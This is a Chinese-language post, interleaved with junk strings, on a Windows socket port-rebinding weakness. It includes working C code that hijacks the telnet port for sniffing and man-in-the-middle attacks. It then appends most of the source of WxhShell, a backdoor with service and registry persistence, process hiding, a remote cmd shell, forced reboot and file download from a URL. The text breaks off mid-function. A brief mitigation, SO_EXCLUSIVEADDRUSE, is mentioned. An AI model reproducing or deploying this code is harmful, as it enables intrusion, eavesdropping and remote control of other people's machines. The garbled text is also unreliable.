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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: zhR_qW+ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); JI[rIL\Ey #:ED 0</ saddr.sin_family = AF_INET; -fSKJo#}| i/O,`2 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
&' Nk2{ $CQwBsYb= bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); EbwZZSds1 (PT?h>|St 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 g6a3MJV` c J"]yG)= 这意味着什么?意味着可以进行如下的攻击: d,Dg"Z Z#cU#)`y1 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 7"CH\*% ~RR_[t2Z 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) EH!EyNNb =VX<eV 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 @=zBF'<.9 }~\].I6 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 ;uA_gn! B,VSFpPx 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 {;z
L[AgCg h> 5~
(n8 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 B|q3;P !,(bXa\^ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 dXK~
Z: W%jX- #include 4Igs\x{i #include 5Ret,~Vs9| #include #V9hG9%8 #include OHtZ"^YG DWORD WINAPI ClientThread(LPVOID lpParam); hDkqEkq1R int main() ~NW5+M(u { [2j(\vC! WORD wVersionRequested; H R!>g DWORD ret; koWb@V] WSADATA wsaData; Y,pS/ BOOL val; Mb/6> SOCKADDR_IN saddr; PJ11LE SOCKADDR_IN scaddr; 2DBFXhP int err; ? Ge*~d SOCKET s; m+gG &`&u SOCKET sc; %Pvb>U(Xs int caddsize; !\k#{
1[! HANDLE mt; m{yNnJ3O DWORD tid; "y
,(9_# wVersionRequested = MAKEWORD( 2, 2 ); vM3|Ti>a' err = WSAStartup( wVersionRequested, &wsaData ); eS# 0- if ( err != 0 ) { 6~Oje>w; printf("error!WSAStartup failed!\n"); v=Bh
A9[ return -1; Sdu@!<?B } mBgx17K/-_ saddr.sin_family = AF_INET; Y X{ [Oy2&C //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 xY}j8~k ^5@"|m1 saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); +&zuI saddr.sin_port = htons(23); 7Caap/L: if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) o >4>7
{ Zz*mf+ printf("error!socket failed!\n"); [6gHi.`p' return -1; .j<B5/+ } Hr,lA( val = TRUE; ZxeE6M^w //SO_REUSEADDR选项就是可以实现端口重绑定的 ?bYQZJ>& if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) vFvu8*0 { i.dAL)V printf("error!setsockopt failed!\n"); P;91C'T-x return -1; OsSiBb,W79 } Ly/~N/<\ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; _j<M} //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 wm`"yNbD //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 %>:)4A U[ O!&:6 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) vc1GmB { nz?BLO= ret=GetLastError(); /Ta0}Y(y printf("error!bind failed!\n"); NeZYchR return -1; F4{. 7BT } 7ofH@U listen(s,2); z)y(31K<1 while(1) <^c0bY1 { nk,Mo5iqV caddsize = sizeof(scaddr); T`<k4ur //接受连接请求 w]YyU5rhS sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); "&o@%){] if(sc!=INVALID_SOCKET) Tu#k+f*s { 0YRYCO$ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); r|BKp,u9 if(mt==NULL) ^
J@i7FOb { !Kqj&y5 printf("Thread Creat Failed!\n"); E1Aa2 break; _~&vs< } en6AAr:U} } {ZI6!zh' CloseHandle(mt); NbMH@6%E } %.gjBI= closesocket(s); g#nsA(_L WSACleanup(); JM9Q]#'t return 0; 2Sd6b 2- } aZ3 #g DWORD WINAPI ClientThread(LPVOID lpParam) UHszOl { _IGa8=~ SOCKET ss = (SOCKET)lpParam; TK?N^ly SOCKET sc; {$=%5 unsigned char buf[4096]; BqA wo SOCKADDR_IN saddr; X"59`Yh long num; %31K*i/] DWORD val; ?O^:j!C6 DWORD ret; 7ib<Cb>K //如果是隐藏端口应用的话,可以在此处加一些判断 #yOY&W:N //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 znpZ0O\! saddr.sin_family = AF_INET; 0`zq*OQ saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); `,=p\g|D saddr.sin_port = htons(23); ?bi^h/f if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) D4S?bZFHo { 6>7LFV1tvy printf("error!socket failed!\n"); HpSfI7 return -1; lFt{:HfX- } .tZ$a_O val = 100; 9e*poG if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) z]_CFo1'l { MNE)<vw> ret = GetLastError(); jl29~^@}1i return -1; D)$k{v#~ } wpMQ 7:j if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Lh$ac-Ct { ;]o^u.PC ret = GetLastError(); O3GaxM\x return -1; td$Jx}'A } Z4sjH1W if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) \K=PIcH { IUG.q8 printf("error!socket connect failed!\n"); Efd[ZJxS6 closesocket(sc); +@v} ( closesocket(ss); 2xm?,p` return -1; du)G)~ } #Jb$AA!z while(1) Mi-9sW { +& Qqu`)?F //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 @2O\M ,g5 //如果是嗅探内容的话,可以再此处进行内容分析和记录 6%axbB //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 K?eo)|4)DB num = recv(ss,buf,4096,0); g
0=t9J if(num>0) +T;qvx6 send(sc,buf,num,0); ;:1mv else if(num==0) lK@r?w|<M break; '*.};t~;"d num = recv(sc,buf,4096,0); : P2;9+v if(num>0) *xKR;?. send(ss,buf,num,0); t":>O0>cz else if(num==0) +}'K6x_ break; %"B$I>h } ^el:)$ closesocket(ss); co-D,o4x closesocket(sc); :/Zh[Q@EG return 0 ; NE nP3A } 0nn#U w-/Tb~#E c3mlO[( ========================================================== {$.{VE+v5 v:b%G?o 下边附上一个代码,,WXhSHELL |9JYg7< I<#kw)W! ========================================================== 94/}@<d-= o4795r,jz #include "stdafx.h" Yq.@7cJ 69L&H!<i: #include <stdio.h> ]kvE+m&p}^ #include <string.h> '93&? #include <windows.h> c" HCc] #include <winsock2.h> Jl}7]cVq# #include <winsvc.h> ~=Sr0+vV #include <urlmon.h> ;T(^riAEl 93,ExgFt #pragma comment (lib, "Ws2_32.lib") ,+{ 43;a #pragma comment (lib, "urlmon.lib") N/p_6GYMa s=+G%B' #define MAX_USER 100 // 最大客户端连接数 {[dqXG$v ` #define BUF_SOCK 200 // sock buffer 5lbh
"m= #define KEY_BUFF 255 // 输入 buffer fA5#
2P{ %vzpp\t #define REBOOT 0 // 重启 ]|(?i ,p #define SHUTDOWN 1 // 关机 RUO6Co- y3GIR
f;> #define DEF_PORT 5000 // 监听端口 !Zx>)V6. 7dIDKx #define REG_LEN 16 // 注册表键长度 \:S8mDI^s #define SVC_LEN 80 // NT服务名长度 =#Jb9=zdR ?Ci\3)u,P // 从dll定义API z@}~2K typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); xCD+qP^ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); kE}Ib4]J typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Bf'(JJ7&N typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6ZJQ '9f &bNj/n/ // wxhshell配置信息 #/6X44
*u struct WSCFG { P*Nl3?T int ws_port; // 监听端口 %-.GyG$i char ws_passstr[REG_LEN]; // 口令 "tIx$?I int ws_autoins; // 安装标记, 1=yes 0=no )c_ll;% char ws_regname[REG_LEN]; // 注册表键名 _\zfXHp char ws_svcname[REG_LEN]; // 服务名 \/%mabLK char ws_svcdisp[SVC_LEN]; // 服务显示名 9:>vl0 char ws_svcdesc[SVC_LEN]; // 服务描述信息 yo=d"*E4^ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 mbK$Wp# int ws_downexe; // 下载执行标记, 1=yes 0=no 2
r)c? char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" 3]Mx,u char ws_filenam[SVC_LEN]; // 下载后保存的文件名 zjS<e
XLs[ EWi@1PAZK }; :yeTzIz] ?T&D@Ohsx // default Wxhshell configuration shRvwE[ struct WSCFG wscfg={DEF_PORT, BH1To&ol "xuhuanlingzhe", Kk#@8h> 1, >#Yq&@G "Wxhshell", Bf.RYLsh6 "Wxhshell", xYq8\9Qb "WxhShell Service", qYs6PLC "Wrsky Windows CmdShell Service", O_q_O "Please Input Your Password: ", +J}M$eQ 1, 8,Z0J " http://www.wrsky.com/wxhshell.exe", 6Xa2A6 "Wxhshell.exe" uBXI*51{ }; ))vwofkw4 l%O-c}X // 消息定义模块 t&0p@xLQ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; iJK9-k~ char *msg_ws_prompt="\n\r? for help\n\r#>"; I <7K^j+5: char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; jdzV& char *msg_ws_ext="\n\rExit."; }\ F>z char *msg_ws_end="\n\rQuit."; \GN5Sy]r char *msg_ws_boot="\n\rReboot..."; JqO( ]*"Hi char *msg_ws_poff="\n\rShutdown..."; $i hIHl6' char *msg_ws_down="\n\rSave to "; }% =P(%- ))Nc|` char *msg_ws_err="\n\rErr!"; 0#ph1a< char *msg_ws_ok="\n\rOK!"; -MZ Eli g pJIH_H char ExeFile[MAX_PATH]; "#()4.9 int nUser = 0; _gHJ4(?w HANDLE handles[MAX_USER]; KRQ/wuv int OsIsNt; |cacMgly >;Bhl|r~z SERVICE_STATUS serviceStatus; F&\o1g-L SERVICE_STATUS_HANDLE hServiceStatusHandle; {XAKf_Cg [g{}0[ew // 函数声明 *w;f\zW int Install(void); f55Ev<oOa int Uninstall(void); A,osrv int DownloadFile(char *sURL, SOCKET wsh); h(fh |R< int Boot(int flag); #KwFrlZ void HideProc(void); 9o6y7hEQy int GetOsVer(void); X$a Mf&x int Wxhshell(SOCKET wsl); DmYm~hzJ void TalkWithClient(void *cs); `i}\k int CmdShell(SOCKET sock); m-:k]9I int StartFromService(void); cGDA0#r int StartWxhshell(LPSTR lpCmdLine); (8{Z@ (]JJ?aAF VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); T'X Rl@ VOID WINAPI NTServiceHandler( DWORD fdwControl ); OCd[P1Y] Sa Nx;xgi // 数据结构和表定义 @1pdyKK SERVICE_TABLE_ENTRY DispatchTable[] = B3D4fYQ { gm8H)y, {wscfg.ws_svcname, NTServiceMain}, ^a]:GPc {NULL, NULL} nL$tXm-x }; Au
{`oxD >TE&myZ?* // 自我安装 biJU r^n int Install(void) %ug`dZ/ { t :_7O7 char svExeFile[MAX_PATH]; w NPZ[V: HKEY key; |(/"IS] strcpy(svExeFile,ExeFile); F'K{= *6h.#$\ // 如果是win9x系统,修改注册表设为自启动 </fnbyGR if(!OsIsNt) { I%ez_VG if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3|A"CU/z@ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,Ya&M@^Z RegCloseKey(key); Ai/#C$MY$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (GeJBw,Q RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .sLx6J% RegCloseKey(key); @{a(f; return 0; oyHjdPdY# } oxRu:+N } H;^6%HV1 } mr*zl* else { \+,jM6l}- 8E" .y$AW // 如果是NT以上系统,安装为系统服务 a; "+Py SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ScI9.{ if (schSCManager!=0) W]
lFwj { qP"m819m SC_HANDLE schService = CreateService NEN br$,G ( {\%x{ schSCManager, .VI2V-Q wscfg.ws_svcname, a+X X?uN{ wscfg.ws_svcdisp, a\zbi$S SERVICE_ALL_ACCESS, r1[0#5kJ;J SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2]7nw1& SERVICE_AUTO_START, KT8Fn+ SERVICE_ERROR_NORMAL, N=wB1gJ svExeFile, &W ~,q( NULL, XW19hG NULL, /5o~$S NULL, $}&6p6| NULL, JsH9IK: NULL 67#;.}4a ); 6L2.88 i if (schService!=0) ^v,^.>P { X<1# )xC CloseServiceHandle(schService); ~h1'_0t CloseServiceHandle(schSCManager); {C<ch@sR strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); L.8-nTg"y strcat(svExeFile,wscfg.ws_svcname); s)-=l_4T if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { m\Dbb.vBvW RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); # wG}T
.* RegCloseKey(key); E)`+1j return 0; FuD$jsEw } kweyp IB } G6I>Ry[2? CloseServiceHandle(schSCManager); SnVnC09y } V8c&2rNa } Pp}j=$&j\ `=FfzL return 1; LOp<c<+aW } _/KN98+ P'g$F<~V // 自我卸载 !#>{..}}3
int Uninstall(void) J3K!@m_\ { x1TB
(^aX HKEY key; 2cww7z/B <%|2yPb] if(!OsIsNt) { ~*H!zKIx if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :HwB+Bjy RegDeleteValue(key,wscfg.ws_regname); #/YKA{ RegCloseKey(key); ^Zg"`&E if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xY@V. RegDeleteValue(key,wscfg.ws_regname); ,3x3&c RegCloseKey(key); oJ5V^. return 0; %POoyH@D} } t,&1~_9 } x;kW }U } "*?^'(yA@ else { /Wt<[g# Zj$U_ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); S25&UwUw if (schSCManager!=0) kMK-E<g { xFgY#F SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); h_H$+!Nzb if (schService!=0) 5*~G7/hT { Qq>M} if(DeleteService(schService)!=0) { )Wgh5C` CloseServiceHandle(schService); j134iVF% CloseServiceHandle(schSCManager); JEj.D=@[ return 0; D;m>9{= } |o6B:NH,rg CloseServiceHandle(schService); uP<tP: } ZMoN CloseServiceHandle(schSCManager); q*52|? } @<;0h| } O9jqeF`L= 4R.rSsAH return 1; % gmf } IojF/ U#-89.x // 从指定url下载文件 #pLd'; int DownloadFile(char *sURL, SOCKET wsh) =lA*?'kd { H:2#/1Oz> HRESULT hr; LLCMp3qBz char seps[]= "/"; z^@98:x char *token; c?IFI char *file; v,
9M AZ, char myURL[MAX_PATH]; }fdo
Aid~ char myFILE[MAX_PATH]; L-vy,[9)[* )nQA) uz strcpy(myURL,sURL); j#zUO&Q@ token=strtok(myURL,seps); P6@(nGgK< while(token!=NULL) !Yd7&#s { 6_rS!X file=token; UhXZ^k3 token=strtok(NULL,seps); SCZtHEl9 } 83e{rcs p%ek)tT GetCurrentDirectory(MAX_PATH,myFILE); +O2T% strcat(myFILE, "\\"); @LqLtr@A strcat(myFILE, file); L^!E4[ ^4 send(wsh,myFILE,strlen(myFILE),0); a}EO7tcg, send(wsh,"...",3,0); 1UT&kD!si hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); zq _*)V if(hr==S_OK) iW9G0Ay return 0; '+JU(x{CCl else M |6l return 1; B^Fe.t y 1>|2B&_^ } =*_T;;E 7G zf>n // 系统电源模块 }\?UmuolQ int Boot(int flag) EPkmBru
^ { <#k(g\/R HANDLE hToken; n j0! TOKEN_PRIVILEGES tkp; D% v{[KY T 5$db-^ if(OsIsNt) { ^Q0%_V, OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \("|X>00 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3+ JkV\AF tkp.PrivilegeCount = 1; HN?NY tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^`?2g[AA AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); g
67;O(3 if(flag==REBOOT) { ~|QhWgq if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Wo+fMn(O return 0; ER-X1fD } Rw-!P>S$ else { 8&t3a+8l if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *.qm+#8W return 0; $q%r}Cdg } mO=bq4! } .W>LEz' else { \W:~;GMeD if(flag==REBOOT) { _!2bZ:emG if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) XA PqRJ*Z return 0; mhpaPin*JS } EVYICR 5g else { ,}?x!3 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) c%tb6@C return 0; -!4Mmp"2@u } 1<766 } h0ml#A`h U|yXJ.Z3 return 1; vM5yiHI(jb } KFZ2%:6> QmxI;l // win9x进程隐藏模块 _[IOPHa" void HideProc(void) /zV&ebN] { ;=r_R!d@ {^(h*zxn HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); fXD9w1 if ( hKernel != NULL ) `-yo-59E[ { Fp=O:] pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !79eF) ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -9)H[}. FreeLibrary(hKernel); ;D'6sd" } >x'R7z23 l|{q8i#4V return; X3mHg5zt } csK;GSp} Qze.1h // 获取操作系统版本 3&`LVhx int GetOsVer(void) :yFUlO: { -?%81 z.Qq OSVERSIONINFO winfo; d0U-:S- winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !DU4iq_. GetVersionEx(&winfo); -}:;
EGUtd if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) V)<Jj return 1; p#;I4d G else \%BII>VS return 0; XSOSy2: } ,9~=yC rvEX;8TS // 客户端句柄模块 j{&*]QTN int Wxhshell(SOCKET wsl) dQ#$(<v[ { j; TXZ`|( SOCKET wsh; {f1iys'Om struct sockaddr_in client; L*(Sh2=_ DWORD myID; H;w8[ImK FHOF6}if while(nUser<MAX_USER) XiW~?
*Z { X\Gbs=sf6 int nSize=sizeof(client); -}x( MZ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); GUDz>( if(wsh==INVALID_SOCKET) return 1; !
mb<z^>5 ^jYE4gHM handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Q h~ if(handles[nUser]==0) K&'Vd@ closesocket(wsh); 'Bx"i else y
<] x nUser++; qe[P'\]L } H3#rFO"C* WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); W6^YFN fug
Fk return 0; Gg TrIF } 7ILb&JQ!%{ [Fk|%;B/~ // 关闭 socket r}nz )=\Cj void CloseIt(SOCKET wsh) nG4}8 { P1G;JK closesocket(wsh); W!Fu7a nUser--; !-AK@`i. ExitThread(0); \p.eY)> } Gr&YzbSX bDtb"V8e // 客户端请求句柄 %LjhK,'h void TalkWithClient(void *cs) \%/Y(YVm { XlJA}^e 6<SX%Bc~ SOCKET wsh=(SOCKET)cs; 2 Q}^<^r char pwd[SVC_LEN]; '5etZ!: char cmd[KEY_BUFF]; 1fMl8[!JLu char chr[1]; XMlcY;W int i,j; b|Sjh; 3]rd!Gp=* while (nUser < MAX_USER) { S;tv4JY lvp8{]I< if(wscfg.ws_passstr) { >Q#\X=a> if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zvOSQxGQ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +'V ,z //ZeroMemory(pwd,KEY_BUFF); ]@A31P4t| i=0; }cO}H2m while(i<SVC_LEN) { ~0V,B1a ,Pj UlcO_ // 设置超时 {Rtl<W0 fd_set FdRead; 2fFGS.l struct timeval TimeOut; (@i2a FD_ZERO(&FdRead); ItxC}qT FD_SET(wsh,&FdRead); tlyDXB~+ TimeOut.tv_sec=8; dV7~C@k6k8 TimeOut.tv_usec=0; ydMfV- int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Nhrh>x[wJ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); D`
a bVf ,V`[;~49 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G[lNgVbU@ pwd =chr[0]; C^ 1;r9 if(chr[0]==0xd || chr[0]==0xa) { <IwfiI3y pwd=0; |Ye%HpTTv break; |5g1D^b]s^ } o2_mcJ i++; "t&_!Rm } oi\e[qE :O9i:Xq[QW // 如果是非法用户,关闭 socket 9B9:lR if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); MVkO >s } 3-4CGSX;X s#>``E! send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); dkAY%z two send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _i pY; C^fUhLVSZ^ while(1) { ;%mYsQ 8m*uT< 5D ZeroMemory(cmd,KEY_BUFF); L4!T \QP1jB // 自动支持客户端 telnet标准 -_T@kg[0zB j=0; C@OY)!x! while(j<KEY_BUFF) { M]uO%2 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I%tJLdL cmd[j]=chr[0]; :>o2UH if(chr[0]==0xa || chr[0]==0xd) { !8}x6 cmd[j]=0; m!sMr^W break; E3d# T } AfX lV-v j++; hngdeGa
} 8omk4 ; &uLC{Ik} // 下载文件 dS)c~:&+ if(strstr(cmd,"http://")) { K!qV82b='{ send(wsh,msg_ws_down,strlen(msg_ws_down),0); !~QmY,R if(DownloadFile(cmd,wsh)) hx:"'m5 send(wsh,msg_ws_err,strlen(msg_ws_err),0); aqoxj[V^3L else {hi'LA-4@ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |YWX.-aeo } [fIElH< else { g3kF&+2i KiYz]IM$4 switch(cmd[0]) { m$H(l4wB> ~O~R,h> // 帮助 U( (F< case '?': { Wer.VL send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;H`>jI$ break; 1gh<nn } :FWo,fq?:{ // 安装 Kn4x_9 case 'i': { c~v(bK if(Install()) a[A*9%a send(wsh,msg_ws_err,strlen(msg_ws_err),0); X%]m^[6 else We:b1sZR send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jCxg)D7W break; FWl'='5L } f+>g_Q // 卸载 lAAs/ case 'r': { 3!2TE - if(Uninstall()) &pEr;:E send(wsh,msg_ws_err,strlen(msg_ws_err),0); HiPd|D else 'bx$}w N send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HWxwG'EEY, break; K[M[0D } IrTMZG // 显示 wxhshell 所在路径 f) @-X! case 'p': { ^gd[U C-"w char svExeFile[MAX_PATH]; 9MR,3/&N strcpy(svExeFile,"\n\r"); Mhiz{Td strcat(svExeFile,ExeFile); ~ -zch=+u send(wsh,svExeFile,strlen(svExeFile),0); @ !m+s~~]h break; wC>Xu.Z: } |z] --h // 重启 $i.)1.x case 'b': { jyFXAs2 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /qObXI if(Boot(REBOOT)) qJq2Z.>hy send(wsh,msg_ws_err,strlen(msg_ws_err),0); .vk|aIG else { az;o7[rI^ closesocket(wsh); tp?<
e ExitThread(0); %2z]2@ } q8[I`
V{ break; (vb8Mk } =x^b // 关机 VtzX I2.2 case 'd': { 4pC.mRu
0 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >Z&Y!w'A|u if(Boot(SHUTDOWN)) *\T
]Z&E" send(wsh,msg_ws_err,strlen(msg_ws_err),0); FCPiU3 else { (|_N2R! closesocket(wsh); 2#t35fU ExitThread(0); uwhb-.w } :Miri_l break; 9Netnzv% } 2}8xY:|@(U // 获取shell .7v
.DR> case 's': { PA<<{\dp CmdShell(wsh); zpM%L:S closesocket(wsh); MO-)j_o-Z ExitThread(0); k-XE|v break; n2(@uT&> } KL4vr|i, // 退出 ?R8wm E[w case 'x': { 8oVQ:' 6 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); q;L~5q."E CloseIt(wsh); ^L +@oS break; y;1l].L } 8e*1L:oB! // 离开 h4lrt case 'q': { d/!R;,^ send(wsh,msg_ws_end,strlen(msg_ws_end),0); VMb r@9 closesocket(wsh); G~fM!F0 WSACleanup(); 9e>Dqlv exit(1); p`}'-A|@ break; +ew9%={zB } Ql.abU } ^;gwD4(hs } M8}t`q[-& f_qW+fN::s // 提示信息 +`s%-}-r if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); AV:P/M^B } 5\\a49k.p } R1lC_G] YNV4' return; "JJEF2e@Z } @EV*QC2l;Y eSlZAdK // shell模块句柄 S=.7$PY int CmdShell(SOCKET sock) :$gR
>.` { Re^~8q[ STARTUPINFO si; f9FLtdh
\7 ZeroMemory(&si,sizeof(si)); 8dYPn+` si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; l1MVC@'pvP si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; l\%LT{$e PROCESS_INFORMATION ProcessInfo; Vp~c$y+ char cmdline[]="cmd"; OPP^n-iPr CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $bd2TVNV: return 0; [/iT D=O, } P}RewMJ$L @.SuHd // 自身启动模式 1w/Ur'8we int StartFromService(void) D`C#O
7.N { TE!+G\@ typedef struct D<:J6W7] { +M/1,& DWORD ExitStatus; k;W`6:Kjp DWORD PebBaseAddress; T_=iJ: Q DWORD AffinityMask; ? j8S.d~ DWORD BasePriority; *%,{<C,Y ULONG UniqueProcessId; DpZO$5.Ec+ ULONG InheritedFromUniqueProcessId; a][QY1E@? } PROCESS_BASIC_INFORMATION; Yl#|+xYA5[ jJOs`'~Q\ PROCNTQSIP NtQueryInformationProcess; !0k'fYCa +'f+0T\) static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *dw6>G0U static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; DLP
G ZI>')T<@j" HANDLE hProcess; ,2C{X+t PROCESS_BASIC_INFORMATION pbi; gvLzE&V} zIE{U HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,9@JBV%_ if(NULL == hInst ) return 0; U'K{>"~1a !CO1I-yL g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); HX&G
